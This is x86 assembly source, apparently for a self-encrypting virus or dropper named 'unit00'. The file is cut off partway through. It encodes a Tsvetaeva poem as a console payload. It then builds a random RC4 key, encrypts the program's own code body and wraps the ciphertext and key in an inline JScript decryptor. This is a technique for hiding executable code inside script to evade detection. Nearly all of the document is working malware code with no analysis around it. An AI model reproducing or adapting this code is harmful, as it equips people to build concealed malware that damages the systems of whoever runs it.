.386 .model flat, stdcall include unit00.inc .data ;form follows function - do not alter order! StorageBegin db 86h bufferRC4 db bufferRC4Size dup (0) bufferANSI db "b=[", bufferANSISize dup (0) keyBuffer db keyLength dup (0) keySchedule db keyScheduleSize dup (0) .data? mapStorage2 struct mapStorageBegin BYTE sizeof StorageBegin dup (?) mapBufferRC4 BYTE sizeof bufferRC4 dup (?) mapBufferANSI BYTE sizeof bufferANSI dup (?) mapKeyBuffer BYTE sizeof keyBuffer dup (?) mapKeySchedule BYTE sizeof keySchedule dup (?) mapStorage2 ends .code assume fs:nothing link_text proc near call text_end text_begin label near db 49h, 20h, 63h, 68h db 72h, 69h, 73h, 74h db 65h, 6eh, 20h, 79h db 6fh, 75h, 72h, 20h db 66h, 72h, 69h, 67h db 68h, 74h, 65h, 6eh db 69h, 6eh, 67h, 20h db 66h, 6ch, 69h, 67h db 68h, 74h, 3ah, 0ah db 0dh, 59h, 6fh, 75h db 6eh, 67h, 20h, 65h db 61h, 67h, 6ch, 65h db 2ch, 20h, 72h, 69h db 73h, 65h, 20h, 69h db 6eh, 20h, 74h, 68h db 65h, 20h, 61h, 69h db 72h, 21h, 0ah, 0dh db 59h, 6fh, 75h, 20h db 73h, 74h, 61h, 72h db 65h, 64h, 20h, 61h db 74h, 20h, 74h, 68h db 65h, 20h, 73h, 75h db 6eh, 21h, 20h, 2dh db 20h, 6dh, 79h, 20h db 6ch, 69h, 67h, 68h db 74h, 0ah, 0dh, 41h db 6eh, 64h, 20h, 64h db 65h, 6ch, 69h, 63h db 61h, 74h, 65h, 20h db 67h, 61h, 7ah, 65h db 20h, 63h, 61h, 6eh db 27h, 74h, 20h, 63h db 6fh, 6dh, 70h, 61h db 72h, 65h, 2eh, 0ah db 0dh, 0ah, 0dh, 49h db 20h, 73h, 74h, 6fh db 6fh, 64h, 2ch, 20h db 6dh, 6fh, 72h, 65h db 20h, 74h, 65h, 6eh db 64h, 65h, 72h, 20h db 74h, 68h, 61h, 6eh db 20h, 74h, 68h, 6fh db 73h, 65h, 0ah, 0dh db 57h, 68h, 6fh, 27h db 76h, 65h, 20h, 77h db 69h, 74h, 6eh, 65h db 73h, 73h, 65h, 64h db 20h, 79h, 6fh, 75h db 20h, 64h, 69h, 73h db 61h, 70h, 70h, 65h db 61h, 72h, 2eh, 2eh db 2eh, 0ah, 0dh, 49h db 27h, 6dh, 20h, 6bh db 69h, 73h, 73h, 69h db 6eh, 67h, 20h, 79h db 6fh, 75h, 20h, 6eh db 6fh, 77h, 20h, 2dh db 20h, 61h, 63h, 72h db 6fh, 73h, 73h, 0ah db 0dh, 54h, 68h, 65h db 20h, 67h, 61h, 70h db 20h, 6fh, 66h, 20h db 61h, 20h, 74h, 68h db 6fh, 75h, 73h, 61h db 6eh, 64h, 20h, 79h db 65h, 61h, 72h, 73h db 2eh, 0ah, 0dh db "Marina Tsvetaeva (1916)" text_end label near pop ecx xor ebx, ebx push ebx push 500h push ebx push ebx push offset text_end - offset text_begin push ecx push -0bh ;STD_OUTPUT_HANDLE call WriteFile call Sleep call ExitProcess link_text endp ui2adec proc near push ecx push eax call skip_intcode db "%i",0 skip_intcode label near push edi call wsprintf add esp, 0ch pop ecx add edi, eax ret ui2adec endp fill_array proc xor eax, eax lods byte ptr [esi] call ui2adec mov al, "," stos byte ptr [edi] loop fill_array mov byte ptr [edi - 1], "]" ret fill_array endp unit00_exe label near ;------------------------------------------------------------------------------- ;initialise 128-bit random key ;------------------------------------------------------------------------------- push ebx ;save PEB address for later use mov edi, offset StorageBegin + mapStorage2.mapKeyBuffer mov esi, edi push keyLength / sizeof mapStackRegisters.regEax pop ebx init_rc4key label near call GetTickCount stos dword ptr [edi] dec ebx jnz init_rc4key mov eax, ebx init_rc4ks label near ;------------------------------------------------------------------------------- ;initialise RC4 key schedule ;operate only on 8-bit registers so to not use "AND reg32, 0ffh" fence ;------------------------------------------------------------------------------- mov byte ptr [edi + eax], al inc al jnz init_rc4ks mov edx, eax permutate_ksa label near push eax mov bl, keyLength div bl ;AND would optimise it, but does not work mov bl, ah pop eax add dl, byte ptr [esi + ebx] add dl, byte ptr [edi + eax] mov bl, byte ptr [edi + eax] xchg byte ptr [edi + edx], bl mov byte ptr [edi + eax], bl inc al jnz permutate_ksa ;------------------------------------------------------------------------------- ;initialise RC4 pseudo-random generation algorithm ;operate only on 8-bit registers so to not use "AND reg32, 0ffh" fence ;------------------------------------------------------------------------------- mov esi, offset unit00_begin mov ebp, offset StorageBegin + mapStorage2.mapBufferRC4 mov dx, offset unit00_end - offset unit00_begin push edx push ebp mov ebx, eax init_rc4rga label near push edx inc al cdq add bl, byte ptr [edi + eax] mov dl, byte ptr [edi + eax] xchg byte ptr [edi + ebx], dl mov byte ptr [edi + eax], dl mov dl, byte ptr [edi + eax] add dl, byte ptr [edi + ebx] mov cl, byte ptr [edi + edx] xor cl, byte ptr [esi] mov byte ptr [ebp], cl inc ebp inc esi pop edx dec edx jnz init_rc4rga ;------------------------------------------------------------------------------- ;encryption is over now ;initialise JScript body and key variables ;------------------------------------------------------------------------------- pop esi pop ecx mov edi, offset StorageBegin + mapStorage2.mapBufferANSI + (sizeof mapStorage2.mapStorageBegin * 3) call fill_array ;transform encrypted body into array items mov eax, "[=k;" ;array for key data stos dword ptr [edi] mov esi, offset StorageBegin + mapStorage2.mapKeyBuffer mov cl, keyLength call fill_array ;transform encryption key into array items call init_jscode jsbodyref1 label near ;------------------------------------------------------------------------------- ;inline JScript encryption/decryption function ;------------------------------------------------------------------------------- db ";h();" db "function h(){" db "c=[];" db "d=r(b,k);" db "for(i=0;i